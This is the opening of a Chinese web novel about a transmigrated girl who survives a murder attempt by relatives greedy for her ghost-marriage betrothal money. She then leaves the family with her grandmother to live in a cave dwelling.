《刚穿越就要我死?小娘子她发疯嚯嚯全家》 第1章 聘银风波 “这聘银你们必须吐出来,二丫头就算死了也姓许!”一道尖利的女声横空出世,气势汹汹的争辩着。 “这丫头打四岁头上再没吃过你们许家一粒米,都在我们邓家养着,你倒好腆着脸说?” 王素娟冷笑一声,看向柳珍儿的眼神满是嘲讽。 说话的两个妇人,前者是二丫头许芷的后母,后者是她的舅母。 昨日,柳珍儿听得回下坪村娘家的隔壁刘嫂子说,二丫头许芷被邓家大郎配给了同村的王家做鬼媳妇。 虽然是结鬼亲,那些个嫁妆彩礼箱笼都是纸扎的,可聘银却是真金白银的给了女方家里。 大家都是地里刨食的村里人,一年到头都少见一两银子。 故而,柳珍儿一听立马打起了聘银的主意,才有了今日闹这一场。 “都说生恩不及养恩,且不说我们养了二丫头十年,就说你这后来的对二丫头生恩都没有,就敢来争聘银,真是好大的一张脸!” 王素娟说完,从喉咙眼里长长的“呵”一声,紧接着石头子儿一样的唾沫钉子就砸在了柳珍儿的鞋面上。 柳珍儿躲闪不及,气极将身后许芷的生父许富年推至前面,“怎么没有生恩?这难道不是二丫头的亲生父亲?” 这边争执不下的时候,谁也没发现身后,原本应该在破门板上无声无息躺着的许芷,站了起来。 许芷迷茫的看着眼前的环境,院里的刺耳争吵声吵的她头痛。 眼前还有些模糊,但隐约能看到几个人形。 眼前刚清晰一点,面前一位银丝满头的老者看到自己,一口气没上来直接昏了过去。 许芷下意识的将人护到了怀里,一同摔了下去。 “嘭”的一声,打断了正在争吵的二人。 看到发生了什么,皆惊讶不已。 磕到了头的许芷只觉得头更痛了,她摸向后脑勺的位置,感受到了一丝不寻常。 因这痛,她一下清醒了不少,眼前也更清晰了。 许芷小心护着昏倒的邓老太,抬眼看向院子。 只一眼,此起彼伏的惊叫声仿佛要冲破云霄。 许芷皱眉,看向面色灰白、眼神惧怕的众人,开口道:“快叫大夫。” 说着她自顾自的掐上了老太太的人中,无视了其他人的眼神。 邓老太很快醒过来,只是睁眼看到面前的人,眼一翻竟是又昏了过去。 惊厥昏倒之事可大可小,最好还是找个大夫来看一看,救人心切的许芷言语里染上了急意。 “速速找大夫,再耽搁就来不及了。” 而这会儿功夫,王素娟和邓栓子已经接受了这个外甥女活过来的事情。 可钱已经到手,他们是真的不想再吐出来。 夫妻两个眼神一对,狠意和杀意交缠,王素娟微不可查的点了点头。 她主动走到了还傻着的柳珍儿身侧,低声道:“聘银你可还想要?” 柳珍儿还没从惊惧中回过神,可听到王素娟提到了银子快速扭头看向她。 王素娟继续蛊惑道:“可只有死人才能得到王家的这份聘银......” 柳珍儿的瞳孔陡然放大。 王素娟没错过她眼珠里瞬间爬上的红血丝,一锤定音道: “三七分,你七我三。” 柳珍儿一下没了犹豫,忙不迭点头答应。 王素娟嘴角勾起,下巴朝着墙角的柴火堆那边努了努。 柳珍儿顺着看过去,那里赫然放着一把斧头,瞬间她浑身一抖。 王素娟给丈夫邓栓子使了个眼色。 邓栓子上前,将母亲抱了起来。 “二丫头,大舅把你祖母放进屋里躺着,就去找大夫。” 他不屑的斜睨一眼,许芷的眼神里盛满无情和冷漠,与从前的躲闪好似判若两人。 来不及多想,他将母亲放回了屋里,就出去“找大夫”。 许芷看着出门的背影,刚缓了口气。 却在她转身之时,一道身影迅速朝自己劈来。 她慌张之下,下意识的侧身躲过,手摸向腰间,空空如也。 许芷翻了个跟头,迅速朝着后面躲着。 远离了那人,她站起来,才看清了要杀她的人是谁。 柳珍儿面目可憎,看到许芷躲了过去,觉得可惜。 随即扭脸对着许富年吼:“你个死人只知道杵在那看,还不过来把你亲女儿抓住!” 许芷听到这话眉眼瞬间冷峻,看向唯唯诺诺的许富年。 眼见丈夫不上前,柳珍儿只得扛起斧头再战。 许芷也快速闪身躲避,还没跑开,王素娟在前面张开双臂要拦她。 她没有立刻转换方向,而是加速冲上去,快到王素娟面前的时候,快速蹲下翻身到身后。 得了顺势空档,她快速观察地形寻找逃出去的机会。 恰在此时,一个肥硕的小儿从屋内出来。 许芷转换路线,快速跑到了刚刚放破木板的房间,将木板上摇摇欲坠的锈钉子拔下。 飞身到了那小儿身边,钉子直接扎在了太阳穴的位置。 许芷站在小儿的身后,目色镇定的望向王素娟和柳珍儿。 “你们敢往前一步,这钉子就会立刻进去。” 王素娟一听脸瞬间白了,抓住了还要往前冲的柳珍儿。 “你个贱胚子!竟敢伤害我儿!” “是你先妄图伤害我,我只是自保。” 许芷平静的抬眼,说完握着钉子的手捏的发白。 看到许芷手上更用力,王素娟慌了。 “你把钉子放下!” 许芷不仅没听,还将钉子往里进了分毫。 意思很明确了。 王素娟只觉得那钉子扎进了自己的心里。 柳珍儿颇为不满的看着面露惧色的王素娟。 “你怕什么,她一个在你手里讨生活的孤女,能有多大胆量和本事?” 王素娟愤恨的瞪了一眼柳珍儿,感情是钉子没抵在她孩子头上,才会说的如此轻松。 她继续对许芷道:“二丫头,看着这么多年的养育之恩,你快放下。” 许芷淡漠的将眼神投射过去,王素娟赶紧讨好一笑。 柳珍儿在一旁添柴加火,“别被这个小贱人拿捏住了啊,嫂子。” “谁是你嫂子!” 王素娟后悔让这个蠢货来做这件事了。 她将柳珍儿手中斧头抢走,讨好的丢到许芷脚下。 “二丫头,你就放了家宝吧。” 许芷一脚踩住,淡淡开口:“将聘银还给人家,我就放人。” 王素娟一哽,没想到许芷想的这么周全。 可她看着儿子吓破了胆的样子,只得应下,转身回屋里拿银子。 第2章 强促鬼亲 柳珍儿看着王素娟离开的背影,心里有了另一番盘算。 屋里的王素娟刚出来,柳珍儿迅雷不及掩耳之势冲上去。 事发突然,王素娟手里的钱袋子一下被抢走了。 柳珍儿则兴奋的拉着许富年迅速溜之大吉。 许芷本来还有些急,可看着王素娟分毫不乱的神色,心想这中间怕是没那么简单。 那两个前脚刚走,后脚王家的人就进来了。 “邓家大哥,我们来接二丫头小指儿了。” 鬼媒人笑着推门而入,看清邓家院里的情形,笑容立刻僵在了脸上。 本就刻意涂白的脸蛋这下白的更彻底,死人一般。 “啊——” 随着一声惨叫声,王家人鱼贯而入。 看清院内的情况,面面相觑不知该怎么办,频频看向鬼媒人。 鬼媒人也是头一遭遇到这种事,有心想说点什么,可脑子里一片空白。 任谁看到三天前没了呼吸的人,现在好生的站着都不可能平淡如水面。 王桥和妻子徐青云在路上被人拦住拉家常,误了些功夫。 进来的时候,看到家里来的人都堵在门口,正疑惑不已,推开人群看到了许芷,夫妻二人俱是一惊。 而假意出去找大夫的邓栓子,早在外面看到王家来人了,赶紧跟在后面回来。 他只当家里的局面已经稳住了,笑着寒暄道:“亲家来了?赶紧把二丫头拉走吧,别误了......” 话音未落,看到了院子里依旧站着的许芷,还有儿子邓家宝脸上流下的血迹。 瞬间火冒三丈:“你个挨千刀的臭丫头,敢动我儿子!” 说着就要踹上去。 许芷只是将手里的钉子又往里没了一点。 “你要是再往前,这一整根就进去了。” 一听这话,邓栓子立刻停下了脚步。 王家一看这个情况,夫妇两人赶紧将来人都疏散走。 徐青云忍着上前一步,挤出一丝笑容得体道:“这二丫头......” 想了半天没组织到合适的言语,只得道:“那之前说好的亲事就此作废,请邓家嫂子处理好家中事宜,将聘银返还即可。” 说着夫妇二人逃也似的要往外走,只是邓栓子不乐意了。 挡在二人身前。 “这丫头你们今日必须带走!” 王桥将妻子护在身后,生气道:“你这是做什么?你那外甥女好好的,这种亲事怎么能成?” 邓栓子不依不饶的嚷道:“怎么不成?反正聘银我们不可能还回去,你就当买了个丫鬟回去得了。” 王素娟也颇为赞同的上前跟丈夫同仇敌忾,揶揄徐青云。 “若不是这样,你怎么能有机会摆一摆婆婆的款儿?” “你!” 徐青云气急了,良好的教养,让她说不出什么刻薄的话,半天也不过憋出来一句:“岂有此理!” 看着王家夫妇不理解的样子,王素娟笑的没事人一样道: “这种事也不是没有,二丫头手脚麻利得很,地里的、屋里头的,什么活都能干。” 看着邓家这对夫妇无赖的样子,徐青云生气丢下一句:“我去找里正过来评理!” 说完便气冲冲的出去了,留丈夫王桥一个人应对。 王桥是在县太爷身边做事的,身上不自觉就带着官宦之正气。 人高马大的往那一站,邓栓子想再说些什么,终归是有些忌惮的。 而王素云自觉王桥这种人不会跟女人一般见识,故而上前道: “按理说这事儿是该算了,可再过两年二丫头要议亲,若一打听知她配过鬼亲,哪户人家敢要她?” 王桥望了一眼身后的许芷,微微叹了口气,王素娟的话不是没有道理。 只是当时人确实没了他们才上门的,谁知道会出这种事。 他只得妥协的说道:“这样吧,聘银不用全部归还,你们留下二两,就当是给二丫头的补偿。” 王桥以为自己已经退一步,邓栓子夫妇就此罢休。 没想到王素娟哼笑一声,伸出手要道:“那行吧,给钱吧。” 王桥不明所以,他的钱还没还回来,怎么还要给钱。 王素娟见他疑惑,继续解释道:“你给的聘银被二丫头的亲爹抢走了,该他们还你去,但是你说好了给我们二两当做赔偿,现在给吧。” 王桥没想到还有这一出,他气的胸腔起伏,真真是后悔跟邓家扯上关系。 双方正僵持着,门外一声尖利的叫骂声由远及近。 “王素娟,你个腌臜贱妇,竟然拿石头骗人!” 愤怒的柳珍儿一进来就将刚刚抢走的钱袋子,丢到了王素娟的身上。 几块石头散落在地,许芷挑眉,心想:“果然如此。” 而去而复返的柳珍儿一下将王素娟刚刚说的谎话打破。 王桥愤怒的甩了下袖子,指着地上的石头质问:“这便是拿走的聘银?邓家大郎,你还不管管你这满口谎话的媳妇。” 可不是一家人不进一家门,邓栓子也是同等的无赖嘴脸。 直言反正钱不退还,要么王家把人带走,要么二丫头还留在家里他还多个干活的人。 王桥气的一个字都不想说,背过身去,不愿看他们夫妻两个的嘴脸。 只盼着里正过来主持公道。 许芷本以为王家人过来,事情自然而然就结束。 可是没想到自己的这个大舅如此不要脸,她轻叹出声。 “你们不想要儿子了?” 这话一下让觉得占据上风的邓栓子夫妇回到现实。 两人转身恨咄咄的看着许芷。 “我警告你赶紧把家宝放了。” 邓栓子命令道。 许芷置之不理,只是问:“那你们是要钱不要儿子?” 邓家宝这时哭着喊:“爹、娘,快救我,这死丫头疯了!” 王素娟赶紧温声安慰儿子,又愤恨的看向许芷,生气道:“你觉得这会儿威胁住我们就万事大吉了? 你可想好了,就算我把钱还给了王家,日后你还要在这个家里讨生活!” 许芷听到垂下眼睫,只觉得她好啰嗦。 可王素娟看到只当是许芷把话听进去了,轻蔑一笑。 觉得许芷不过还是那个软弱可欺的孤女。 “所以啊,赶紧把家宝放了,惹了我看日后谁管你! 难不成你指望那个见钱眼开的后母,还有你那生母刚过身就把你丢过来的爹?” 第3章 以命相护 “我管!” 一道苍老但有力的声音从里屋传了出来。 众人看过去,只见昏倒的邓老太拄着棍出来了。 走到许芷身边,心疼的看着她,“是祖母的不是,让你受苦了。” 只是许芷的眼神看起来冷漠异常,邓老太更加觉得对不起这个外孙女。 她上前对儿子说道:“你还不快去把那聘银拿来还给人家。” 邓栓子一把将邓老太的手甩开,不满的说着:“那可是六两银子!我在地里一年到头撅着屁股干,都见不到一两。 当着母亲的面,他依旧是无赖样子:“反正我不给,你也劝劝二丫头,她最是听你的,女子大了都是要嫁人的,不如就跟了王家走。” “你!” 邓老太被儿子的话气到踉跄,扶额差点再度昏过去。 她闭上眼稳了稳身形,再睁眼,眼底是无尽的决绝。 “你若是坚持,我便拉根绳子吊死在你的房门前,让村里人都看看,你这个只认钱、无情无义的不孝子,为了六两银子,逼死了自己的老母!” 邓栓子一听这话,气的上蹿下跳,使劲的搓着头,跳着脚道: “娘哎!我的娘哎!有你这么逼自己儿子的吗?” “那就有你这样逼亲外甥女的?” 邓老太泪眼婆娑的缓缓道:“这可是你亲妹妹,梅子留下的唯一一个女儿,你这样做几十年后下去了,就不怕无颜面对梅子吗?” 许芷听到这话,浑身颤抖了一下,看向邓老太的眼神不再那么冷漠。 邓栓子再怎么无耻,也干不出来逼死老母的事情,他无奈的瞪着亲娘。 而王素娟一看丈夫有了缓和之意,她生气的指着邓老太鼻子骂道: “死老婆子!那丫头姓许,不姓邓!你若是执意如此,莫说你百年之后,就是今日过后,可别想我们床前尽孝!” 邓老太脸上尽显无奈和疲累。 “我顾不得那么多,要么今天我死在你们俩的门前,要么你们把聘银还回去。” 王素娟还想骂,邓栓子突然大吼出声,发泄一般。 “啊——” 吼完,抓住了气不下的媳妇,心灰意冷道:“把钱拿出来还给王家。” 看着丈夫满眼猩红,怒发冲冠的样子,王素娟不敢再有一刻的犹豫,迅速回屋里将聘银拿了出来,不情愿的还给了王桥。 王桥拿到手掂了掂,又打开看了看,确定王素娟没诓他。 将胸前装着的婚书当面撕毁,“邓老太,可放心?” 邓老太长舒一口气,点了点头。 转身走到许芷身边,伸手将许芷握着钉子的手拿了下来。 许芷也不反抗,任由她将自己手里的钉子扔掉。 “别怕,小指儿,祖母会好好护着你的。” 许芷愣愣的微微点头。 而得了安全的邓家宝慌忙钻进了亲娘的怀里。 此时,去叫里正的徐青云回来了。 路上,她已经将情况给里正说过,里正满口保证要帮他们家主持公道。 所以这会到了,直接摆上了架子怒斥邓栓子:“邓家老大,莫要玩无赖,赶紧把聘银还给王家,要不然有你们的好果子吃。” “还了。” 王素娟气不顺的回道。 这可把里正要说出口的话给堵住了,不太敢相信自己听到了什么。 王桥也走上前,晃了晃手里的钱袋子。 “辛苦里正跑一趟了,聘银已经还回来了,改日晚辈定然带壶好酒上门赔罪。” 里正也不是那种斤斤计较的,见到钱回来,只当事情解决了,他摆摆手不在意的说:“事了了就行,酒就不必了。” 说完转身对着邓家的人交代:“要谨记大家都是同村的,莫要做事太糊涂,日后见面可莫要争锋相对的。” 王桥先应了是,就带着妻子回了家。 里正也转身打算回家晒一晒自己刚采的蘑菇,却被人叫住了。 “里正别走,跟王家的事儿解决了,我们家的事还没解决呢。” 王素娟道。 “你们家的事儿?” 里正疑惑的转过身。 王素娟没有直接的回答里正的话,而是转身跟丈夫邓栓子说:“去双羊村把老二一家叫出来,还有城里做工的老三。” 他应了一声便出门去叫自己的兄弟。 看着丈夫出去了,王素娟笑的客气,对里正讲:“您先坐着歇一歇,我进去给您倒碗水。” 里正摆摆手,道:“水就不必了,快些说什么事,我屋头里也有事呢。” 王素娟一听扭脸给里正搬了个凳子,愤愤放在地上说道:“分家!” 听到分家两个字,邓老太喘出一口气,顺势坐在了堂屋的门槛上,抬起头道:“若是老二和老三也愿意分家,就分吧。” 说完深深地看了眼许芷,眼神里的不明意味让许芷疑惑。 但她并未深究,只是沉默的站在那里。 里正听到这个并不意外。 兄弟姊妹多的人家,为了争一口饭吃大打出手的都有。 他作为里正不好多掺和别人的家事,只要这一家人说好,他做个见证是可以的。 这邓家,因为许芷这个孤女,兄弟几个没少推诿。 如今,这钱没了,邓家老大媳妇心里铁定是不愿意,分家估计就是不想管这个许芷。 思及此处,里正抬起头看了一眼许芷,总觉得这孩子少了几分之前的唯唯诺诺,可势单力薄的往那一站,一看就是个可怜孩子。 他微不可查的叹了口气道:“既然人未到齐,这事儿也说不住,我先回家,用了中饭再过来。” 说完转身就要出去,只是出去前,不放心的转头对王素娟道:“你们最好是我来之前就说好,要怎么分,可别我来了吵哄哄的半天没个主意,那不是瞎耽误功夫?” 王素娟低低的应了一声,直叫里正放心。 里正听完立刻离开。 王素娟看了眼堂屋门口坐着的婆婆,低低的呸了一声,回了屋里等着丈夫回来。 日头高照的时候,老二夫妇急吼吼的赶了回来。 一回来就看到了死而复生的许芷,两人的腿同步一软,好歹是互相扶着不至于一屁股坐到了地上。 第4章 闹着分家 老二邓耙子的媳妇宋莺莺缓了缓,苍白的脸色有了些许润色,走上前恭顺的问: “娘哎,这到底是咋了?怎么就闹到要分家的地步?” 邓老太没说话,闭着眼晒太阳。 而王素娟从屋里出来,对上了老二夫妇疑惑的眼神,沉默着没有好脸色。 这让宋莺莺心里直打鼓,心想:“该不会大嫂知道了是她故意跟刘嫂子透底带话吧?” 可要是大嫂肯把聘银拿出来一起分,她怎会如此。 只是今日的情况比她想的还要出乎意料。 别的不知道,但是能闹到分家这一步,宋莺莺敢肯定,这钱王素娟没捞着。 宋莺莺一想到这个,就止不住的笑。 分家好啊。 她也早就想分家了。 晌午,邓栓子带着最小的弟弟邓耧子赶了回来。 眼见人到齐了,王素娟将人都叫进了堂屋。 王素娟站在中间好似当家人,将今天上午发生的事情,改颜换面的讲了一番。 “所以,娘说了她以后自己管二丫头,既然是自己管,总不能拿着我们的孝敬全贴补这么个赔钱货吧?” 王素娟的眼珠子快速的扫了一眼在场所有人。 “索性直接分了家,咱们都关起门过自己的日子,我是不会把自己辛辛苦苦得来的粮食,全让二丫头拢个子。” 宋莺莺一听,对王素娟这锱铢必较的样子很是满意,一下甩掉了上下两头的麻烦。 只是她心里还有其他的打算,弱弱开口道:“那怎么分啊,先说说这房子?” 邓家的房子,一共三大间。 北面这间最大,分了左右两头两个屋,一间老大住着,一间邓老太住着,中间就是他们此刻议事的堂屋。 西边那间也不小,分了两部分,一间屋给老二一家住,一间是厨房。 东边的最小,分了两间,一间放农具和家里杂七杂八的东西,算是杂物间,一间屯的粮食。 而老三因为尚未娶妻,随便编了张竹床住在杂物间里。 另外这东边屋子因为比其他两间小,后面靠墙的位置搭了个茅草顶堆柴火。 柴火堆旁边就是大门。 “这房子正好三间屋,我们家宝年纪也上来了,再跟我们夫妻两个睡多少不合适,上房这正好两间屋,就给我们。 至于老二家,虽然没孩子但是好歹是成了婚的,西边这间给你们,那间厨房你们要想改成别的也使得。 至于老三嘛......” 王素娟上下挑剔的看了一眼邓耧子,“老三没成家住那么宽敞也没用,就还住现在的屋子吧。” 宋莺莺一听撇撇嘴,最大最好的房子老大自己留着。 不过这样分也好,他们还是住自己的屋子,只是多了间屋,故而没说什么。 而邓耧子不解的开口道:“大嫂,你这分的不对啊,娘住哪啊?” 王素娟轻蔑一笑:“娘不是说了凭自己本事管着二丫头,那就让娘自己找住的地方呗。” “可这房子是爹和娘盖起来的。”邓耧子生气的反驳。 “可现在户主是你大哥。” 王素娟这一句话说的邓耧子无话可说。 根据本朝的律法,宅子在户主的名下。 邓耧子看着邓老太只是听着不说话的样子,到底是没再多说。 心想到时候把他的屋子让出来给娘住,他随便睡在哪都行。 王素娟轻嗤一声,继续说分家的打算。 “家里共十六亩地,其中良田四亩,还有两亩在山坳处,干起活来最是费劲。老三天天在外做工,没空种地,那两亩山坳处的就给他。 我们家人口多,多一个劳动力就分三亩良田,剩下的十亩地,我们就亏一点分个四亩就行,老二家得剩下的六亩和一亩良田。门口那块菜地,我跟老二家一人一半。” “那不行,要分就平分!” 宋莺莺不愿意了,站起来生气的说道。 “我跟老二也会添孩子,又不是不生,凭什么你们就多一亩良田?” 两个人就此吵了起来,谁也不让谁,都想多分点良田。 里正到的时候两个人正吵的急头白脸,他刚踏进屋门,就想收回脚。 可眼疾手快的王素娟赶紧上前将人抓了回来。 里正慌张摆手,他都故意晚来了半个时辰,就想着事儿说成了自己来走个过场见证一下就赶紧回去。 没想到还是撞上争吵不休的时候。 他硬着头皮问了一嘴怎么分的家,王素娟将自己的打算都说了出来。 一听头大得很,屋子和地都是大头,结果按照王素娟的分法,自己占了大头就算了,关键是把邓老太和许芷都撵了出去。 一个老太婆,一个孤女什么都没捞着。 他委婉道:“做儿女的最重要的是孝顺。” 王素娟一听这话就不乐意了,反驳道:“哎?谁说我们不想孝顺啊,是娘自己的说的,不让我们管,她自己管。 再说了谁知道我们的孝顺是给了娘还是二丫头啊?” “我不用任何人管我。” 许芷突然出了声,她神情淡漠的扫过在场的所有人,声音不大但胜在坚定。 “分家也不必了,如今闹这一场无非就是觉得我在这个家里占了口粮,那我出去便是,生老病死,与你们家无关。” 一听这话,邓老太第一个不同意。 她激动地用手里的拐杖杵着地,强烈的表达自己的不满。 “这可是我唯一的女儿留下的女儿!除非我今天进了棺,否则,我管到底了!” 里正站起来,朝邓老太伸出手,示意她平静一下。 可邓老太此刻顾不上那么多了,她看着两个贪婪的儿媳,还有默许的两个儿子。 心寒之至。 她长舒一口气,像是将精气神都一并排了出去,身子更佝偻了。 但还是下定了决心说道:“我带着小指儿离开这个家,从此以后生老病死跟你们无关。 至于你们仨要怎么分家,那是你们仨的事儿,我不掺和。” 老三噌的一下站起来,反对说:“那不行,娘,您跟二丫头就住我这屋,我养着你们俩。” 邓老太有气无力的摆摆手,“老三,你去城里做工挣得是辛苦钱,就留着给你娶媳妇儿吧。” 第5章 祖孙单过 邓耧子还想说什么,但是邓老太抬手阻止了他。 掀起眼皮看向里正,“张老弟,既然你辛苦跑这一趟,就不能让你走空。” 她转身回屋里拿出来笔墨纸砚,“麻烦你写个绝交书,证明自今日起我和外孙女跟这个邓家毫无关系,仨儿不必孝顺我,只我过身后将我和孩儿他爹葬在一起。 另外,将来二丫头要是嫁人,婆家和彩礼跟他们仨也毫无关系。” 里正听到邓老太连许芷嫁人的事都想好了,生怕儿子打外甥女的一点主意。 微微叹口气,照例问三人:“邓家的,没意见吧?” 老三率先说没意见,他虽然这么说,但是他自己心里愿意孝敬,谁也管不着。 而剩下几个相互对视一眼,似是有什么难言。 里正就顺势问:“可有什么不妥的?” 一听里正这么问了,宋莺莺就顺着说:“娘的话倒是没什么,就是爹当年还有抚恤金呢。” 说完低着头躲到了丈夫的后面。 一石激起王素娟这层浪,她立马跳出来:“就是,还有那抚恤金呢!那是爹的,是邓家的!” 邓老太没想到她都这样让步,她们竟还有惦记的。 那可是老头子用命换来的,不过五两银子。 她总觉得花这钱是在喝老头子的血,吃老头子的肉。 所以平时若非大事,这钱一动不动。 也就老二成亲的时候,花了一两三钱。 还有前年家宝生了重病,她拿出了一两银子。 现在还有二两七钱,除了给老三留的娶妻钱,剩下的她都打算带进棺材,说什么都不拿。 “你们想得美!那可是你们爹的血肉钱,谁想用来过好日子,先从我的尸体上踏过去!” “那不行,您都说了,你跟邓家撇清关系了,那这邓家的钱你霸着不好吧?”王素娟咄咄逼人道。 “就是!”宋莺莺小声的讥诮:“说什么血肉钱,说不定转头就给了二丫头。” 邓老太气的脸色通红,嘴唇嗫嚅半天说不出一个字。 许芷看着心中不忍,看着里正缓缓道:“报官吧。” “报、报官?” 里正不解道:“此事怕是不归官府管啊。” “此事确实不归,可要了命的事儿总归吧。” 她眼神扫过邓栓子和王素娟夫妇,仿佛看透了一切。 瞬间,王素娟的心里突突直跳,总觉得许芷知道了什么。 “你、你这丫头胡说什么呢?长辈正说事儿,你乱插嘴,真是没教养。” 她故意拔高了声音,掩饰自己的底气不足。 “是不是胡说,报了官便知。” 许芷摸上了后脑勺,轻“嘶”一声,饱含深意的看向王素娟。 而原本嚣张的王素娟瞬间塌了下去,整个人战战兢兢,笑的勉强。 立马改了口说:“娘说的对,那是公爹用命换来的钱,我们不该要。” 说罢,催促着里正赶紧写下绝交书。 而宋莺莺看着态度大变的大嫂,心里疑惑不已。 这钱她想要啊。 只是她刚说出口,王素娟就拿房子说事,让她想提不敢提,只得这样。 没了意见,里正的绝交书写的很快,一式四份分别给了他们。 如此,邓老太也没有犹豫,叫着许芷就回了房间收拾东西。 许芷跟着祖母进了房间,看着忙碌的身影,她半吞半吐:“其实...不必为我如此。” 邓老太收拾东西的身影顿了一下,就又收拾了起来。 她的语气里竟染上了几分欢快:“以后咱们祖孙俩人过,不知道多自在。” 许芷微微叹了口气,走上前去帮祖母一起收拾。 其实邓老太也没什么东西,很快就收拾完了。 而许芷的东西更好收拾,一共两套衣物,她身上就占了一套。 收拾妥帖,祖孙俩堂堂正正的出了邓家门。 邓老三见状快步走上前,将母亲手里的包袱和背篓拿了过来。 邓老太直接朝西边走去,两人跟在后面,很快被引到了村西头的山坳处,几乎快出了村。 许芷看到这里有一处废弃的窑洞,心想这就是祖母给两人找的容身之所。 门虽然是破的,可两扇都在。 进去里面有土炕,还有张三条腿的桌子。 除此之外,就是一些腌臜秽物和杂草。 这比许芷想象中好多了。 而且窑洞都冬暖夏凉,收拾妥当可比村里的石头房好。 许芷对这个新住处,倒是很满意。 只是跟着过来的邓老三看到这破败的窑洞,皱起了眉。 “娘,还是住我那屋吧,这窑多少年没住人了,蜘蛛网都能做衣服。” 邓老太将儿子手里的东西拿过来,催促着他赶紧回城里继续干活。 看着母亲坚决的样子,他重重的叹了口气离开。 儿子走了,邓老太没了刚刚的样子,讷讷然道:“这窑是有几年没住人,可好好收拾,也是个不错的地方......” 许芷看着祖母小心翼翼的样子,立刻道:“风刮不着,雨淋不着,就是顶好的窝。” 许芷的话成功的让邓老太的紧张神色缓解不少。 两人开始着手打扫,因为没有扫帚和抹布,许芷就地取材,薅了一把高丹草将窑里的灰都清了清。 因地处山坳,旁边就有股清泉。 邓老太取了水过来,将屋子都洒了洒,尘土飞扬的屋子立刻好了些。 没有抹布,许芷直接将剩下的那一身衣服撕了。 那布糟的很,一扯就烂。 邓老太看到的时候,急忙阻止也来不及。 “傻丫头,衣服没了穿什么?” 许芷不在意道:“身上这不有一身。” 邓老太提起口气,想说的话还是咽了下去。 接过许芷手里的布,将这屋里收拾的干干净净。 许芷在附近找了好多个还算平整的石头,补全了那桌子的第四条腿。 还搬了两块大石头坐。 当晚风徐徐拂面,许芷才惊觉已然到了傍晚。 窑已经收拾的妥妥帖帖。 两个人满意的看着自己的住处,满脸憧憬。 下一刻,腹中雷鸣声响,邓老太瞧着孙女笑出了声。 紧接着两人犯了难,吃的倒好说,靠着山,正是春天,什么野菜弄不着? 虽没有灶,石头垒一个暂时用着,也快的很。 可是没锅,有点难为人。 两人正苦恼着,远处一声清亮的呼唤飘进耳朵。 第6章 吃饱穿暖 “小芷?” 悠扬的声音由远及近,一着粉衫的娇憨可爱少女走近。 许芷还未反应,邓老太先慈爱的开了口。 “娇娇,怎么来这儿了?” 王茹娇晃了晃手里的篮子,笑道:“婶儿,我嫂子让我来送点饼子和咸菜。” 许芷走上前,面无表情的接住了篮子。 抬头看到对方探究的眼神,没什么反应,转身回到屋里,将东西放桌上,没急着出去。 外面的王茹娇担心的瞧着里面,问邓老太:“婶子,小芷......” 她跟许芷虽差着辈,可因相似的年岁两人处成了好姊妹。 平日里,许芷也总嘘高叹低,但见了她总归有个笑模样。 可今日,却是她从未见过的淡漠。 邓老太也跟着叹了口气:“这孩子死里逃生一回,怕是到现在还没缓过来。” 今日之事,王茹娇早就听嫂子说过了。 她真是又气又急,还没来得及去看看许芷,又听说邓家分家的事。 只得约摸着两人安顿好,才提溜着东西过来。 想多说些什么,可又看着邓老太紧皱的眉头,特意安慰道:“婶子,您跟小芷好日子都在后头呢。” 知道对方是特意安慰自己的,邓老太撑起嘴角,只言无碍。 许芷约摸着差不多,提着空篮子走了出来。 将篮子还给了王茹娇,听着对方安慰几句以后会更好的话。 许芷只是笑着听,却一个字不说。 这样子让那俩人更难受。 王茹娇说到口干舌燥才回了家,祖孙俩也打算吃晚饭了。 因为太阳已经下了山,也没有蜡烛,窑里黢黑。 所以许芷在外面生了团火,把桌子搬出来吃饭,又暖和又亮堂。 王茹娇送了三个饼子,还带着点余温。 许芷拿到手才发现是起了层的酥饼,里面还揉了葱碎,香气扑鼻。 同时她暗慨王家条件不错。 因为酥饼起层的关键就是要舍得放油酥。 而乡下人靠地吃饭,更多时候做饭是为了吃饱,很少研究着怎么好吃。 油对普通人家又算是贵重物,怎么会舍得往饼里放。 邓老太跟她的想法差不多,咬一口吃进嘴里,明显语气都轻快了不少。 “这饼子不错。” 许芷点了点头,也大口的吃了起来。 带来的咸菜是自家腌的芥菜丝,又咸又酸,还带着点辣味。 许芷刚吃进嘴里,一下齁住了。 可看祖母一口饼子一口咸菜,吃的津津有味。 许芷也这样吃,饼子除了葱香味,没有任何其他调味,就着咸菜吃刚刚好。 忙活了一下午的两人,一时无言,都专注在吃食上。 觉得干巴,旁边就是山上流下的泉水,甘甜清凉。 没有器皿,就用手捧着喝。 很快两个人就吃完了手里的饼子。 邓老太拿着剩下的饼子让许芷再吃点,后者连忙摆了摆手,道:“祖母,我吃饱了,这张留着明早吃。” 邓老太也没坚持,寻思着明早热了让她吃。 谁让她俩现在没锅呢。 都说巧妇难为无米之炊,到了她俩这是难为无锅之炊。 最快也是明天想办法去弄口锅。 吃饱喝足就想会周公。 因为只有一间窑、一张炕,祖孙俩就睡在了一起。 许芷刚开始还怕硬,但一躺下什么想法都没了。 身下的褥子柔软异常。 邓老太舒服的长舒一口气,语调愉悦:“软和吧。” 黑暗中,许芷瞪大了眼睛,轻轻“嗯”一声。 “这可是我成婚时的被子,我娘自己种的棉缝的,就是日子久了,盖着多少薄了些,铺在身下正合适。” 那这被子可有些年头了,许芷想。 能保持的这么软和,可见祖母平时有多爱惜。 正想着,身侧邓老太想起什么,突然惊讶出声。 “我的树!” “树?” 许芷不明所以。 “门外的那棵柿子树。” 接着,邓老太给许芷讲起了这树的来历。 “这是我爹,你的曾祖父,在我出生时种下的,成婚的时候算嫁妆里移栽过来,一晃现在都五六十年了。” 许芷想了想,轻声道:“门前有一块平地,可以种树,明日我们去把树挖回来。” 邓老太道了声“好”,没再说话。 当许芷以为祖母睡着的时候,听到了祖母略带颤抖的声音。 “小指儿,祖母对不起你。” 邓老太说完眼泪就跟着下来了,她从前总想,自己一个老婆子管不了许芷几年,以后还是要靠儿子和儿媳。 所以许芷受了委屈,自己就当看不见。 只要有外孙女一口饭吃,长大了嫁了人就好。 可是没想到自己的纵容,养大了那些人的胃口。 竟然为了钱,做出这样丧天良的事情。 现在想想从小就对许芷不好,自己真的过了身,怎么可能会对她好呢? 好在自己的身子骨还算硬朗,现在两个人跟他们撇清关系也不迟。 只要把外孙女养大嫁出去,自己就能闭了眼,跟女儿也能交代。 许芷沉默着不知该如何安慰祖母,她的心里也乱的很。 只是,没让她苦恼太久,邓老太就搂紧了她。 保证道:“小指儿,祖母保证,以后再也不会让你受委屈,一定让你吃饱穿暖的长大。” 